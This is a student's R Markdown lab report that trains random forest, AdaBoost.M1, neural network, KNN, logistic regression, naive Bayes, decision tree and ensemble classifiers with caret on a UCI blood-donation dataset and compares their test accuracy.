797c87b71644dec03f337c93ac9411926a124226
|
5c05cb6ccd015f337bbade12900b6af6aa632c52
|
refs/heads/master
|
<file_sep># MachineLearning
Practice Problem relating to different Machine Learning domains
<file_sep>
# Configuration for Rasa NLU.
# https://rasa.com/docs/rasa/nlu/components/
language: en
pipeline:
- name: "SpacyNLP" # loads the spacy language model
- name: "SpacyTokenizer" # splits the sentence into tokens
- name: "SpacyFeaturizer" # transform the sentence into a vector representation
- name: "SpacyEntityExtractor"
- name: "SklearnIntentClassifier" # uses the vector representation to classify using SVM
- name: "CRFEntityExtractor"
- name: "EntitySynonymMapper" # trains the synonyms
# Configuration for Rasa Core.
# https://rasa.com/docs/rasa/core/policies/
policies:
- name: KerasPolicy
epochs: 100
- name: MemoizationPolicy
max_history: 5
- name: FallbackPolicy
fallback_action_name: 'utter_default'
nlu_threshold: 0.1
core_threshold: 0.2
- name: MappingPolicy
- name: FormPolicy
<file_sep>
## fallback
- utter_default
## greeting path 1
* greet{"PERSON":"Will"}
- slot{"PERSON": "Will"}
- utter_greet
## fine path 1
* fine_normal
- utter_help
## fine path 2
* fine_ask
- utter_reply
## thanks path 1
* thanks
- utter_anything_else
## happy path
* greet{"PERSON":"Will"}
- slot{"PERSON": "Will"}
- utter_greet
## say goodbye
* goodbye
- utter_goodbye
## check balance
* check_balance
- utter_check_balance
## deposite money
* deposite_money
- utter_deposite_money
## request cheque book
* request_cheque_book
- utter_request_cheque_book
## transfer money
* transfer_money
- utter_transfer_money
## withdraw money
* withdraw_money
- utter_withdraw_money
<file_sep>actions:
- utter_anything_else
- utter_check_balance
- utter_default
- utter_deposite_money
- utter_goodbye
- utter_greet
- utter_help
- utter_reply
- utter_request_cheque_book
- utter_transfer_money
- utter_withdraw_money
config:
store_entities_as_slots: true
entities:
- account_balance
- account_number
- amount
- tpin
forms: []
intents:
- greet:
ignore_entities: []
use_entities: true
- fine_ask:
ignore_entities: []
use_entities: true
- thanks:
ignore_entities: []
use_entities: true
- goodbye:
ignore_entities: []
use_entities: true
- fine_normal:
ignore_entities: []
use_entities: true
- check_balance:
ignore_entities: []
use_entities: true
- deposite_money:
ignore_entities: []
use_entities: true
- request_cheque_book:
ignore_entities: []
use_entities: true
- transfer_money:
ignore_entities: []
use_entities: true
- withdraw_money:
ignore_entities: []
use_entities: true
slots: {}
templates:
utter_anything_else:
- text: No worries. Is there anything else I can help you with?
- text: No worries. Let me know if there is anything else I can help you with
utter_check_balance:
- text: Your current balance is {account_balance}.
- text: Your have {account_balance} in your account.
utter_default:
- text: I am not sure what you're aiming for. Let's try again
- text: I am sorry but I am not able to get you. Let's try again
- text: My appologies but I am not able to get you. Let's try again
utter_deposite_money:
- text: Your balance after deposite of {amount} is {Account_Balance}.
- text: Your balance is {Account_Balance}.
utter_goodbye:
- text: It was a pleasure to help you
- text: Hope it was helpful
- text: Bye and have a nice day
- text: Bbye and have a nice day
utter_greet:
- text: Hey {PERSON}, how are you?
- text: Hello {PERSON}, How are you doing?
utter_help:
- text: Great{PERSON}. How can I help you?
- text: Great. Tell me How can I help you?
utter_reply:
- text: I'm doing great. Please let me know what I can do for you.
- text: I'm doing great. Tell me How can I help you today?
utter_request_cheque_book:
- text: Thank you for your request. Your cheque book will be delivered at {customer_address}
on {delivery_date}.
- text: We will send your cheque book at {customer_address} on {delivery_date}.
utter_transfer_money:
- text: An amount of {amount} has been transferred to {target_account}. Your current
balance is {account_balance}.
- text: We have transferred {amount} to {target_account}. Your current balance is
{account_balance}.
utter_withdraw_money:
- text: An amount of {amount} will be delivered at {customer_address} on {delivery_date}.
Please share following pin {withdraw_pin} to complete transaction. Your balance
after withdrawal is {Account_Balance}.
- text: We are sending money your way. An amount of {amount} will be delivered at
{customer_address} on {delivery_date}.
<file_sep>
## intent:greet
- hey. I am [James](PERSON)
- hello. I am [William](PERSON)
- hi. I am [Kabir](PERSON)
- Hi, I am [Salman](PERSON)
- Hi, I am [Brad](PERSON)
- Hi, I am [Tom](PERSON)
- Hi, I am [Bill](PERSON)
- Hi, I am [William](PERSON)
## intent:fine_ask
- I am good, how are you doing?
- I'm fine, how are you?
- I'm good, how are you?
## intent:thanks
- Thanks
- Thank you so much
## intent:goodbye
- Bye for now
- Goodbye
- Thanks for help. Bye
- No, I am good as of now. Bye
- Bye
- Bbye
## intent:fine_normal
- I am doing great
- I'm doing great
- I'm fine
- I'm good
## intent:check_balance
- What is my account balance?
- How much I have?
- What is my balance?
- My account balance?
## intent:deposite_money
- I would like to deposite money
- want to deposite
- I want to deposite money in my account
## intent:request_cheque_book
- Need cheque book
- Want a cheque book
- Can I order a cheque book please?
- Send me a cheque book
## intent:transfer_money
- transfer [$500](amount)
- transfer money to someone
- send [$500](amount) to James
- give money to someone
- I want to transfer [$1000](amount)
- I want to send some amount
## intent:withdraw_money
- I want to get [$500](amount)
- I would like to withdraw [$10](amount)
- Please send me [$30](amount)
- withdraw [$385](amount) and send me to my home
|
df2c1289921c10c211eb4d2e2ca84072cf8d3f15
|
[
"Markdown",
"YAML"
] | 5 |
Markdown
|
dhavalsimaria/MachineLearning
|
509686ca71025938ef89a7482260828480f6206b
|
626a45658dbb0b36ae99a627ad469ff0018e1757
|
refs/heads/main
|
<file_sep>using System;
using System.Collections.Generic;
using System.Text;
namespace day5
{
class vehicle
{
int gasoline;
public void Drive()
{
if (gasoline >0)
{
Console.WriteLine("Car is driving");
}
}
public void fuel()
{
if (gasoline>0)
{
gasoline++;
Console.WriteLine ("fuel is present");
}
}
}
class Car:vehicle
{
public static void Main()
{
Car car = new Car();
vehicle Vehicle = new vehicle();
Vehicle.Drive();
Vehicle.fuel();
Console.Write("enter amount og gasoline");
int gasoline = Convert.ToInt32(Console.ReadLine());
Console.ReadLine();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Text;
namespace day5
{
class Class5
{
public static void Main()
{
//DateTime dt = new DateTime(2021, 5, 28, 3, 25, 5);
//Console.WriteLine(string.Format("{0:ddd,MMM d,yyyy}"), dt);
DateTime dt = DateTime.Now;
Console.WriteLine(String.Format("{0:MMMM}" , dt));
Console.ReadLine();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Text;
namespace day5
{
class Class6
{
public static void Main()
{
DateTime dob = Convert.ToDateTime("15/05/1998");
int age = CalculateAge(dob);
}
private static int CalculateAge(DateTime dateOfBirth)
{
int age = 0;
age = DateTime.Now.Year - dateOfBirth.Year;
if (DateTime.Now.DayOfYear < dateOfBirth.DayOfYear)
age = age - 1;
return age;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Text;
namespace day5
{
public class Person
{
public string Name { get; set; }
public Person(string name)
{
Name = name;
}
~Person()
{
Name = string.Empty;
}
public override string ToString()
{
return "Hi" + Name;
}
public static void Main()
{
int count = 3;
Person[] person = new Person[count];
for (int i = 0; i < count; i++)
{
person[i] = new Person(Console.ReadLine());
}
for (int i = 0; i < count; i++)
{
Console.WriteLine(person[i].ToString());
}
Console.ReadLine();
}
}
}
|
fdcb4bd92b26c278d21a822c5ab8d77d97f24e9e
|
[
"C#"
] | 4 |
C#
|
spreethanarayanan/day5
|
291e924b400ebc7c7206d8677d2cef026c013e30
|
887e257fe376564611f74ebd59c5016b28d67413
|
refs/heads/master
|
<repo_name>pparksuuu/Spring<file_sep>/demo2/src/main/java/com/example/demo/SuhyeonBookRepository.java
package com.example.demo;
import org.springframework.context.annotation.Primary;
import org.springframework.stereotype.Repository;
@Repository
public class SuhyeonBookRepository implements BookRepository {
}
<file_sep>/testPjt04/src/main/java/testPjt04/MainClass.java
package testPjt04;
import org.springframework.context.support.GenericXmlApplicationContext;
public class MainClass {
public static void main(String[] args) {
// TransportationWalk transportationWalk = new TransportationWalk();
// transportationWalk.move();
// Container를 가져온다. ! 리소스를 적어준다.
GenericXmlApplicationContext ctx =
new GenericXmlApplicationContext("classpath:application-context.xml");
// .getBean(bean의 id, data type)
TransportationWalk transportationWalk = ctx.getBean("transportationWalk", TransportationWalk.class);
transportationWalk.move();
// resource 반환
ctx.close();
}
}
<file_sep>/demo2/src/main/java/com/example/demo6_1_ProfileSetting1/TestBookRepository.java
package com.example.demo6_1_ProfileSetting1;
public class TestBookRepository implements BookRepository {
}
<file_sep>/demo2/src/main/java/com/example/demo4/MyService.java
package com.example.demo4;
import org.springframework.stereotype.Component;
@Component
public class MyService {
}
<file_sep>/demo2/src/main/java/com/example/demo5/Single.java
package com.example.demo5;
import org.springframework.beans.factory.ObjectProvider;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
@Component
public class Single {
@Autowired
private ObjectProvider<Proto> proto;
public Proto getProto() {
return proto.getIfAvailable();
}
}
<file_sep>/demo2/src/main/java/com/example/demo4/Demo2Application.java
package com.example.demo4;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ApplicationContextInitializer;
import org.springframework.context.support.GenericApplicationContext;
@SpringBootApplication
public class Demo2Application {
@Autowired
MyService myService;
public static void main(String[] args) {
SpringApplication app = new SpringApplication(Demo2Application.class);
app.addInitializers((ApplicationContextInitializer<GenericApplicationContext>) ctx ->
ctx.registerBean(MyService.class));
System.out.println("functional bean definition!");
app.run(args);
}
}
|
a738e14fe6a8a47a3a7258e23fe24b1f38b2ab89
|
[
"Java"
] | 6 |
Java
|
pparksuuu/Spring
|
4488b44c18ac518f1b4a49e8e57a49333967baf8
|
f8f4a3e05beb6b4ae890f790d90343918f12dc6e
|
refs/heads/master
|
<repo_name>SuperFastCola/blogspot_scrapper<file_sep>/blogspot_scrapper.pl
#!/usr/bin/perl
#section below for testing
#print "Content-type: text/html\n\n";
#print "RESULTS<br/>\n" . localtime() . "<br/>\n\n";
use DBI;
use Data::Dumper;
#use utf8;
use Encode::Encoder;
#database variables
$database = "DATABASENAME";
$hostname = "localhost";
$username = "USERNAME";
$password = "<PASSWORD>";
#creates send me an email function
sub sendEmail()
{
#send me an email to let me know something is wrong
$from="Spivey\ Hall\ Blog\ Scrapper <<EMAIL>>";
$to="<EMAIL>";
$subject=$_[0];
$sendmailpath="/usr/sbin/sendmail";
open (SENDMAIL, "| $sendmailpath -t");
print SENDMAIL "Subject: $subject\n";
print SENDMAIL "From: $from\n";
print SENDMAIL "To: $to\n\n";
#prints passed argument message for email body
print SENDMAIL $_[0];
#if XML sucessfully parsed
# adds parsed info to email body
if(defined($_[1]))
{
print SENDMAIL "\n\n" . $_[1];
}
close (SENDMAIL);
}
# url to sam's blog
$url = "http://spiveyhall.blogspot.com/feeds/posts/default";
# command to open URL with LYNX and dump info
$command = "/usr/local/bin/lynx -source \"$url\"";
# oepn a pipe to lynx and dump text into SAMSBLOG file handle
open (SAMSBLOG, "$command |");
#for testing creates XML file
open XMLFILE, ">../htdocs/xmlfile.html";
#add line breaks between >< characters
while ($line = <SAMSBLOG>)
{
# was putting \n in >< parts of html tags
#finally not necessayr
# could be useful later
$line =~ s/></>\n</gc;
$toCheck .= $line;
}
#close filehandle
close (SAMSBLOG);
#finds first item in xml
#uses non-greedy quantifier for any characters between <entry> and </entry>
if( $toCheck =~ m/<entry(.*?)>(.*?)<\/entry>/gcs )
{
#put after while statement below
# copies loaded line into new file
#assigns first item match to title and description variables for treatment
$title = $2;
$description = $2;
#gets title of article
#greedy quantfier
if($title =~ /<title(.*?)>(.*)<\/title>/gc)
{
$title = $2;
}
#gets entire description of article
if($description =~ /<content(.*?)>(.*)<\/content>/gc)
{
#copies match to subsearch for cleaning
$summary = $2;
#replaces < with < symbol
$summary =~ s/</</g;
#replaces < with < symbol
$summary =~ s/>/>/g;
#add line break after > symbol
$summary =~ s/>/>\n/g
}
#copies subsearch not description
$description = $summary;
#removes div and span tags from description
$description =~ s/(<(\/)?(div|span)(.*)?>)*//gc;
#removes div, span, break, strong, and em tags
$summary =~ s/(<(\/)?(div|span|a|img|strong|em|br\s?\/)(.*)?>)*//gc;
#old version $summary =~ s/(<(\/)?(div|span|br\s?\/|strong|em)(.*)?>)*//gc;
#replaces line breaks
$summary =~ s/\n//g;
#reduces paragraph to 150 characters
$summary = substr($summary,0,228);
#cuts off last word, could be incomplete
$summary =~ s/([,-]?(\s|\b)?[^\b\s]*$)//;
}
#replace quote with escaped quote
$title =~ s/["]/\\"/g;
#replace left UTF-8 smart quote with escaped quot
$title =~ s/\xE2\x80\x9C/\\"/g;
#replace right UTF-8 smart quote with escaped quot
$title =~ s/\xE2\x80\x9D/\\"/g;
#replace right UTF-8 single quote with escaped quot
$title =~ s/\xE2\x80\x99/\\'/g;
#replace left UTF-8 single quote with escaped quot
$title =~ s/\xE2\x80\x98/\\'/g;
#replace quote with escaped quote
$summary =~ s/["]/\\"/g;
#replace ampersand html entity with escaped quote
$summary =~ s/&nbsp;/ /g;
#replace left UTF-8 smart quote with escaped quot
$summary =~ s/\xE2\x80\x9C/\\"/g;
#replace right UTF-8 smart quote with escaped quot
$summary =~ s/\xE2\x80\x9D/\\"/g;
#replace right UTF-8 single quote with escaped quot
$summary =~ s/\xE2\x80\x99/\\'/g;
#replace left UTF-8 single quote with escaped quot
$summary =~ s/\xE2\x80\x98/\\'/g;
#replace quote with escaped quote
$description =~ s/["]/\\"/g;
#replace left UTF-8 smart quote with escaped quot
$description =~ s/\xE2\x80\x9C/\\"/g;
#replace right UTF-8 smart quote with escaped quot
$description =~ s/\xE2\x80\x9D/\\"/g;
#replace right UTF-8 single quote with escaped quot
$description =~ s/\xE2\x80\x99/\\'/g;
#replace left UTF-8 single quote with escaped quot
$description =~ s/\xE2\x80\x98/\\'/g;
#for command prompt testing
print "Title:<br/>" . $title . "<br/>\n";
print "Summary:<br/>" . $summary . "<br/>\n";
#print "Description:<br/>" . $description . "<br/>\n";
print XMLFILE $title . "<br/>\n";
print XMLFILE $description;
close (XMLFILE);
#insert records into database ---------------------------------------------------------------
# if title, summary and description parsed from xml
if(defined($title) && defined($summary) && defined($description) )
{
#formulate databse entry statement and connect
$dsn = "DBI:mysql:database=$database;host=$hostname;";
#connect to db
$dbh = DBI->connect($dsn, $username, $password, {RaiseError=>1}) or die("Could not connect!");
#mysql statement
#check to see if sam's blog is in DB
$sql = "SELECT * from spotlight where type regexp 'blog'";
$sth = $dbh->prepare($sql);
$sth->execute;
#if it exists record is modified
if($sth->rows==1){
#mysql statement
$sql = "UPDATE concerts.spotlight set title=\"" . $title . "\", summary=\"" . $summary . "\", display=\"no\" " . "WHERE type regexp 'blog'";
}
else{
#record is inserted
$sql = "INSERT INTO concerts.spotlight (ID,title,summary,hyperlink,display,type) VALUES(\"\",\"$title\",\"$summary\",null,\"no\",\"blog\")";
}
print "\n\n" . $sql . "\n\n";
$sth = $dbh->prepare($sql);
$sth->execute;
#if update Db error display error
if($sth->errstr)
{
print "\n\n" . $sth->errstr . "\n\n";
&sendEmail("Error entering Blog info into DB");
}
#finish statement
$sth->finish();
#disconnects DB
$dbh->disconnect();
# send me an email for testing.
$emailBody = $description;
&sendEmail("Sam\'s Blog was parsed correctly and the entry was entered into DB",$emailBody);
}
else
{
# send me and email if nothing parsed
print "\nNothing Parsed\nSending Email Advertisement\n";
&sendEmail("Nothing was parsed in Sam\'s Blog.");
}
|
495097566aa06f5bd57c1451f90d052070156d90
|
[
"Perl"
] | 1 |
Perl
|
SuperFastCola/blogspot_scrapper
|
98fb977c063596495073c984ff24f04561c81349
|
704457ddb9826885e2a38095d98b4876aa5a4d0d
|
refs/heads/master
|
<file_sep>Jazz Hands
===========
*A small and feisty CMS based on web.py and peewee*
<file_sep>#! /usr/bin/env bash
OPTIONS="commit cleanup deploy"
select opt in $OPTIONS; do
if [ "$opt" = "commit" ]; then
echo Enter commit message
read MSG
eval "git add ."
eval "git commit -m \"$MSG\""
eval "git push"
exit
elif [ "$opt" = "cleanup" ]; then
eval "find . -name *.pyc -print0 | xargs -0 git rm"
exit
fi
done
<file_sep>import web
import logging
from nestpas import models
from nestpas.config import Config
from nestpas.router import Router
from nestpas.handlers import *
app = web.application(Router().get_routes(), globals())
def is_test():
if 'WEBPY_ENV' in os.environ:
return os.environ['WEBPY_ENV'] == 'test'
if (not is_test() and __name__ == "__main__"):
app.run()
<file_sep>import logging
import datetime
import os
import web
from web import form
from nestpas.config import Config
class BaseHandler:
template_file = None
file_extension = "html"
def __init__(self, templates_folder=None):
self.template_file = str(self.__class__).split(".").pop().lower().replace('handler', '')
self.settings = Config().get_settings_for('templates')
def render_view(self, values=None, file_name=None):
if file_name:
self.file_extension = file_name.split(".").pop()
self.template_file = file_name.split(".").pop(0)
template_folder = self.settings['path']
template_file = "%s/%s.%s" % (template_folder, self.template_file, self.file_extension)
# TODO: Make the content type depend on file extension
web.header("Content-Type", "text/html")
output = web.template.frender(template_file)
return output(values)
class HomeHandler(BaseHandler):
def GET(self):
""" Show Home page """
return self.render_view("Hello Kitty")
class DocumentHandler(BaseHandler):
def GET(self, id=None):
""" Get document """
return self.render_view("Kitty says muuh", 'home.html')
class LoginHandler(BaseHandler):
def GET(self):
""" Show login form """
loginform = self.get_form()
return self.render_view(loginform)
def POST(self):
""" Process form submit """
web.header("Content-Type", "text/html")
return "Hello"
def get_form(self):
return form.Form(
form.Textbox('mail'),
form.Password('<PASSWORD>'),
form.Button('Login')
)
class UserHandler(BaseHandler):
def GET(self, id=None):
""" User page """
return self.render_view("Kitty")<file_sep>database:
development:
driver: 'sqlite'
path: 'nestpas.sqlite'
templates:
path: 'templates'<file_sep>
class Router(object):
def __init__(self):
self.urls = (
'/', 'HomeHandler',
'/login/', 'LoginHandler',
'/user/', 'UserHandler'
)
def get_routes(self):
return self.urls<file_sep>from peewee import *
import datetime
import re
db = SqliteDatabase('db_nestpas.sqlite')
class BaseModel(Model):
class Meta:
database = db
class User(BaseModel):
mail = CharField(null=True)
password = CharField()
class Document(BaseModel):
title = CharField(max_length=255)
when_created = TimeField(default=datetime.datetime.now)
when_changed = TimeField(null=True)
body_text = TextField(null=True)
# SomeUser.documents returns list of a users documents
user = ForeignKeyField(User, related_name="documents")
published = BooleanField(default=False)
slug = CharField()
db.connect()
User.drop_table(True)
User.create_table(True)
Document.drop_table(True)
Document.create_table(True)
|
e27309569239fa5f48e5fd764ee354ea77631f9a
|
[
"Markdown",
"Shell",
"YAML",
"Python"
] | 7 |
Markdown
|
chengjie/jazz-hands
|
01de0c73adb18fe162624515765c0c474f6b74bf
|
c5a52df507ac0d9b46d302ce174568528ee9061b
|
refs/heads/master
|
<file_sep>---
title: "Lab 3"
author: "<NAME>"
date: "March 25, 2018"
output: pdf_document
---
```{r setup, include=FALSE}
knitr::opts_chunk$set(echo = TRUE,message = FALSE,warning = FALSE)
```
# Data
Data was downloaded from https://archive.ics.uci.edu/ml/datasets/Blood+Transfusion+Service+Center. Data coressponds 748 blood donors. There are four variables R (Recency - months since last donation), F (Frequency - total number of donation), M (Monetary - total blood donated in c.c.), T (Time - months since first donation), and a binary variable representing whether he/she donated blood in March 2007 (1 stand for donating blood; 0 stands for not donating blood).
# Solution 1
I have implemented RandomForest and AdaBoost.M1 using caret library in R.
## Random Forest
The code I implemented for RandomForest is attached below.
```{r,tidy=TRUE}
#load libraries
library(caret)
library(readr)
library("caretEnsemble")
library("magrittr", lib.loc="~/R/win-library/3.4")
#read test and train data
#lab3_train <- read_csv("lab3-train.csv", col_types = cols(Class = col_factor(levels = c("0","1"))))
lab3_train <- read_csv("lab3-train.csv")
lab3_test <- read_csv("lab3-test.csv", col_types = cols(Class = col_factor(levels = c("0", "1"))))
#Read the input files
lab3_train = read.csv("lab3-train.csv")
lab3_test = read.csv("lab3-test.csv")
#change labels
lab3_train$Class = ifelse(lab3_train$Class==1, 'Yes', 'No')
lab3_test$Class = ifelse(lab3_test$Class==1, 'Yes', 'No')
#x, y has training data
x <- lab3_train[,1:4]
y = lab3_train[,5]
###Train RF model
#define hyperparams
ntree<-c(1,50,100,1000)
preproc<-c("center", "scale","knnImpute")
tunelen<-c(1,2,3,5)
trcontrol = trainControl(method='cv', number=5, summaryFunction = twoClassSummary, classProbs = TRUE)
#table to store results
header1<-c("ntree","preProc","tuneLength","mtry","ROC","Acc_test","Time in min")
rf_resultsTab<-data.frame(matrix(ncol = 7, nrow = 0))
colnames(rf_resultsTab)<-header1
best_rf_model<-NULL
best_rf_acc<-0
for (nt in ntree){
for(pp in preproc){
#print (pp)
for(tl in tunelen){
s <- proc.time() #start time
rf_model= train(x, as.factor(y), method='rf', trControl = trcontrol, metric = "Accuracy", tuneLength=tl, preProc = pp,ntree=nt)
d <- proc.time() - s #end time
#calculate test accuraccy
pred_res<-predict(rf_model, lab3_test)
correct<-0
for (i in (1:length(pred_res))){
if(pred_res[i]==lab3_test$Class[i]){
correct=correct+1
}
}
test_acc <- (correct)/length(pred_res)
if(test_acc>best_rf_acc){
best_rf_acc=test_acc
best_rf_model<-rf_model
}
rf_resultsTab[nrow(rf_resultsTab)+1,] <- c(nt,pp,tl,rf_model$finalModel$mtry,max(rf_model$results$ROC),test_acc,format(as.numeric(d)[3]/60,digits = 2))
}
}
}
rf_resultsTab %>% knitr::kable(caption = "Training RF with different hyperparameters")
```
From Table 1 we can see that the random forest model with highest accuraccy on the test had following parameters: `r rf_resultsTab[which.max(rf_resultsTab$Acc_test),]`. The maximum accuraccy acheived by RandomForest model on the test set is `r best_rf_acc`
## Best RandomForest Model performance
```{r,tidy=TRUE}
best_rf_model
pred_res<-predict(best_rf_model, lab3_test)
confusionMatrix(pred_res,lab3_test[,5])
```
## AdaBoost.M1
The code I implemented for AdaBoost.M1 is attached below.
```{r,tidy=TRUE}
###Train AdaBoost.M1 model
#define ada hyperparams
clearn=c("Breiman","Freund", "Zhu")
mdepth=c(2,5)
mfinal=c(4,10)
preproc<-c("center", "scale","knnImpute")
#table to store results
header2<-c("coeflearn","preProc","maxdepth","mfinal","ROC","Acc_test","Time in min")
ada_resultsTab<-data.frame(matrix(ncol = 7, nrow = 0))
colnames(ada_resultsTab)<-header2
best_ada_model<-NULL
best_ada_acc<-0
for(cl in clearn){
for(md in mdepth){
for(mf in mfinal){
for(pp in preproc){
control = trainControl(method='cv', number=2, summaryFunction = twoClassSummary, classProbs = TRUE)
grid = expand.grid(mfinal = mf, maxdepth = md, coeflearn = cl)
s <- proc.time() #start time
ada_model = train(x, as.factor(y), method = "AdaBoost.M1", trControl = control, tuneGrid = grid, metric = "ROC", preProc = pp)
d <- proc.time() - s #end time
#calculate test accuraccy
pred_res<-predict(ada_model, lab3_test)
correct<-0
for (i in (1:length(pred_res))){
if(pred_res[i]==lab3_test$Class[i]){
correct=correct+1
}
}
test_acc <- (correct)/length(pred_res)
if(test_acc>best_ada_acc){
best_ada_acc=test_acc
best_ada_model<-ada_model
}
ada_resultsTab[nrow(ada_resultsTab)+1,] <- c(cl,pp,md,mf,max(ada_model$results$ROC),test_acc,format(as.numeric(d)[3]/60,digits = 2))
}
}
}
}
ada_resultsTab %>% knitr::kable(caption = "Training AdaBoost.M1 with different hyperparameters")
```
From Table 2 we can see that the AdaBoost.M1 model with highest accuraccy on the test had following parameters: `r ada_resultsTab[which.max(ada_resultsTab$Acc_test),]`. The maximum accuraccy acheived by AdaBoost.M1 model on the test set is `r best_ada_acc`
## Best AdaBoost.M1 Model performance
```{r,tidy=TRUE}
best_ada_model
pred_res<-predict(best_ada_model, lab3_test)
confusionMatrix(pred_res,lab3_test[,5])
```
# Solution 2
I trained individual Neural Network (NN), KNN, Logistic Regression (LR), Naive Bayes (NB), and Decision Tree (DT). The code i implemented is below.
## Neural Network
```{r,tidy=TRUE}
header3<-c("Model","Acc_test","Time in min")
ind_resultsTab<-data.frame(matrix(ncol = 3, nrow = 0))
colnames(ind_resultsTab)<-header3
#train neural net
nn_test_acc<-0
grid <- expand.grid(.decay = c(0.5, 0.1), .size = c(4, 4, 2))
control = trainControl(method='cv', number=2, summaryFunction = twoClassSummary, classProbs = TRUE)
s <- proc.time() #start time
nnet_model = train(Class~.,data=lab3_train, method="nnet", trControl=control, metric="ROC", tuneLength=3, preProc=c("center"))
d <- proc.time() -s #end time
print(nnet_model)
print(nnet_model$finalModel)
nn_pred_res<-predict(nnet_model, lab3_test)
correct<-0
for (i in (1:length(nn_pred_res))){
if(nn_pred_res[i]==lab3_test$Class[i]){
correct=correct+1
}
}
nn_test_acc <- (correct)/length(nn_pred_res)
ind_resultsTab[nrow(ind_resultsTab)+1,] <- c("Neural Network",nn_test_acc,format(as.numeric(d)[3]/60,digits = 2))
```
Using Neural Network I got accuraccy `r nn_test_acc`
### Neural Network Model
```{r,tidy=TRUE}
print(nnet_model)
confusionMatrix(nn_pred_res,lab3_test[,5])
```
## KNN
```{r,tidy=TRUE}
knn_test_acc<-0
control = trainControl(method='cv', number=2, summaryFunction = twoClassSummary, classProbs = TRUE)
s=proc.time()
knn_model = train(x, as.factor(y), method='knn', trControl=control, metric="ROC", tuneLength=3, preProc=c("center"))
d=proc.time()-s
knn_pred_res<-predict(knn_model, lab3_test)
correct<-0
for (i in (1:length(knn_pred_res))){
if(knn_pred_res[i]==lab3_test$Class[i]){
correct=correct+1
}
}
knn_test_acc <- (correct)/length(knn_pred_res)
ind_resultsTab[nrow(ind_resultsTab)+1,] <- c("KNN",knn_test_acc,format(as.numeric(d)[3]/60,digits = 2))
```
Using KNN I got accuraccy `r knn_test_acc`
### KNN Model
```{r,tidy=TRUE}
print(knn_model)
confusionMatrix(knn_pred_res,lab3_test[,5])
```
## Logistic Regression
```{r,tidy=TRUE}
lr_test_acc<-0
s=proc.time()
lr_model = train(x, as.factor(y), method='glm', trControl=control, metric="ROC", tuneLength=3, preProc=c("center"))
d=proc.time()-s
print(lr_model)
lr_pred_res<-predict(lr_model, lab3_test)
correct<-0
for (i in (1:length(lr_pred_res))){
if(lr_pred_res[i]==lab3_test$Class[i]){
correct=correct+1
}
}
lr_test_acc <- (correct)/length(lr_pred_res)
ind_resultsTab[nrow(ind_resultsTab)+1,] <- c("LogisticRegression",lr_test_acc,format(as.numeric(d)[3]/60,digits = 2))
```
Using Logistic Regression I got accuraccy `r lr_test_acc`
### Logistic Regression Model
```{r,tidy=TRUE}
print(lr_model)
confusionMatrix(lr_pred_res,lab3_test[,5])
```
## Naive Bayes
```{r,tidy=TRUE}
nb_test_acc<-0
s=proc.time()
nb_model = train(Class~.,data=lab3_train, method="nb", trControl=control, metric="ROC", tuneLength=3, preProc=c("center"))
d=proc.time()-s
nb_pred_res<-predict(nb_model, lab3_test)
correct<-0
for (i in (1:length(nb_pred_res))){
if(nb_pred_res[i]==lab3_test$Class[i]){
correct=correct+1
}
}
nb_test_acc <- (correct)/length(nb_pred_res)
ind_resultsTab[nrow(ind_resultsTab)+1,] <- c("Naive Bayes",nb_test_acc,format(as.numeric(d)[3]/60,digits = 2))
```
Using Naive Bayes I got accuraccy `r nb_test_acc`
### Naive Bayes Model
```{r,tidy=TRUE}
print(nb_model)
confusionMatrix(nb_pred_res,lab3_test[,5])
```
## Decision Tree
```{r,tidy=TRUE}
dt_test_acc<-0
s=proc.time()
dt_model = train(Class~.,data=lab3_train, method="rpart", trControl=control, metric="ROC", tuneLength=3, preProc=c("center"))
d=proc.time()-s
dt_pred_res<-predict(dt_model, lab3_test)
correct<-0
for (i in (1:length(dt_pred_res))){
if(dt_pred_res[i]==lab3_test$Class[i]){
correct=correct+1
}
}
dt_test_acc <- (correct)/length(dt_pred_res)
ind_resultsTab[nrow(ind_resultsTab)+1,] <- c("Decision Tree",dt_test_acc,format(as.numeric(d)[3]/60,digits = 2))
ind_resultsTab %>% knitr::kable(caption = "Training individual classifiers")
#add rf and ada
rf_preds <- predict(best_rf_model, lab3_test)
rf_test_acc<-0
correct<-0
for (i in (1:length(rf_preds))){
if(rf_preds[i]==lab3_test$Class[i]){
correct=correct+1
}
}
rf_test_acc <- (correct)/length(rf_preds)
ada_preds <- predict(best_ada_model, lab3_test)
ada_test_acc<-0
correct<-0
for (i in (1:length(ada_preds))){
if(ada_preds[i]==lab3_test$Class[i]){
correct=correct+1
}
}
ada_test_acc <- (correct)/length(ada_preds)
ind_resultsTab[nrow(ind_resultsTab)+1,] <- c("Best RF",rf_test_acc,rf_resultsTab[which.max(rf_resultsTab$Acc_test),]$`Time in min`)
ind_resultsTab[nrow(ind_resultsTab)+1,] <- c("Best ADA",ada_test_acc,ada_resultsTab[which.max(ada_resultsTab$Acc_test),]$`Time in min`)
```
Using Decision Tree I got accuraccy `r dt_test_acc`
### Decision Tree Model
```{r,tidy=TRUE}
print(dt_model)
confusionMatrix(dt_pred_res,lab3_test[,5])
```
## Best Individual Model
The model with highest accuraccy on test set is `r ind_resultsTab[which.max(ind_resultsTab$Acc_test),]`
## Unweighted Ensembl Classifier
I used majority voting among the five classifiers. The code is attached below.
```{r,tidy=TRUE}
#combine predictions
comm_preds <- data.frame(dt_pred_res,nb_pred_res,lr_pred_res,knn_pred_res,nn_pred_res)
#do majority voting
require(functional)
maj_vot_5<-as.factor(apply(comm_preds, 1, Compose(table,
function(i) i==max(i),
which,
names,
function(i) paste0(i, collapse='/')
)
))
maj_vot_5_acc<-0
correct<-0
for (i in (1:length(maj_vot_5))){
if(maj_vot_5[i]==lab3_test$Class[i]){
correct=correct+1
}
}
maj_vot_5_acc <- (correct)/length(maj_vot_5)
ind_resultsTab[nrow(ind_resultsTab)+1,] <- c("Majority voting",maj_vot_5_acc,0)
```
Accuraccy acheived by majority voting is `r maj_vot_5_acc`
### Majority voting confusion matrix
```{r,tidy=TRUE}
confusionMatrix(maj_vot_5,lab3_test[,5])
```
## Weighted Ensembl Classifier
Here i took the weighted mean of outputs from each classifier. The weights were propotional to each classifiers accuraccy on the test set. I used the softmax function to calculate weight of each classifier based on its accuraccy.
